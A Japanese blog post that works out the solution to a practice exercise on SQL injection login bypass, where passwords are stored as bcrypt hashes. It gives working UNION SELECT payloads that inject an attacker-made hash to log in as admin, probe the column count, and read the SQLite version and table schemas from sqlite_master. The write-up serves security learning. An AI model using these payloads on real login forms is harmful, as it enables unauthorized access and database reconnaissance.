🤖

パスワードがハッシュ値で保存されているサイトのSQLインジェクションによる認証回避の練習問題の解答を考える

2023/09/18に公開

以下の記事の解答を考える。

https://qiita.com/ockeghem/items/787f74801a24e1fc6960

解答

UserID: ' union select 1, 'admin', '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC', 'email
Password: hoge

これを入力すると、

入力画面

adminとしてログインできる。

遷移後画面

解答の作り方

Passwordは適当な文字列にして、そのPasswordに対して、password_hash関数でハッシュ値を作成する。

$ php -r 'echo password_hash("hoge", PASSWORD_DEFAULT);'
$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC

UserIDの方を

' union select 1, 'admin', '<Passwordのハッシュ値>', 'email

とすれば良い

何をやっているのか

SQL文が

select * from users where userid = '' union select 1, 'admin', '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC', 'email';

となって、空の結果(select * from users where userid = '')とこちらが指定した1行のみの結果(select 1, 'admin', ...)のUNIONになり、後者のみの結果となる。

その結果以下のPHPコードの$user['password']は指定したハッシュ値になり、$passwordの方は入力したパスワードなので、password_verifyの結果はtrueになる。

    if ($user && password_verify($password, $user['password'])) {
        echo "ログイン成功:" . htmlspecialchars($user['userid']);
    } else {
        echo "ログイン失敗";
    }   

追記部分

ソースコードの情報は使ってよい想定ですが、ソースコードの内容に依存しない解法も考えてください

上記解答はカラムの数、型が既知であることを前提としているが、型についてはsqliteは自動的に型変換される問題なさそう。

カラムの数については以下のように1カラムでUNIONをとると

UserID: ' union select '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC

以下のようなエラー画面になる。

エラー画面

そのため、エラーにならなくなるまで以下のようにカラム数を増やしていけば、4カラムで認証成功まではいける。

UserID: ' union select '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC', '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC

その後、どのカラムが認証に使われるのか、どのカラムが認証後に表示されるのかも総当たりで見つけることができる。

SQLインジェクションを使ってSQLiteのバージョンを表示してください

select sqlite_version()を使う。

UserID: ' union select 1, sqlite_version(), '$2y$10$1tRWeeNLn0ymCSYbvxyhZ.qix/anO0UqBT/iKgUDgpjN2ArU4ejSC', 'email
Password: hoge

SQLiteバージョン

SQLインジェクションを使ってテーブル情報(テーブル名や列名など)を表示してください

sqlite_masterテーブルを使う。type=tableのnameカラムにテーブル名が保持されている。

UserID: ' union select 1, (select name from sqlite_master where type = 'table' limit 1 offset 0), '$2y$10$.zzofZomIzstjuNHPWKWsO8Kh.oUdmQ4ST9ZG8uye8vPk5fvfvDH6', 'email
Password: hoge

テーブル名

複数テーブルがある場合はoffsetを変更していく。

テーブルのスキーマやカラム名はsqlカラムから取得できる。

UserID: ' union select 1, (select sql from sqlite_master where type = 'table' limit 1 offset 0), '$2y$10$.zzofZomIzstjuNHPWKWsO8Kh.oUdmQ4ST9ZG8uye8vPk5fvfvDH6', 'email
Password: hoge

スキーマ情報

Discussion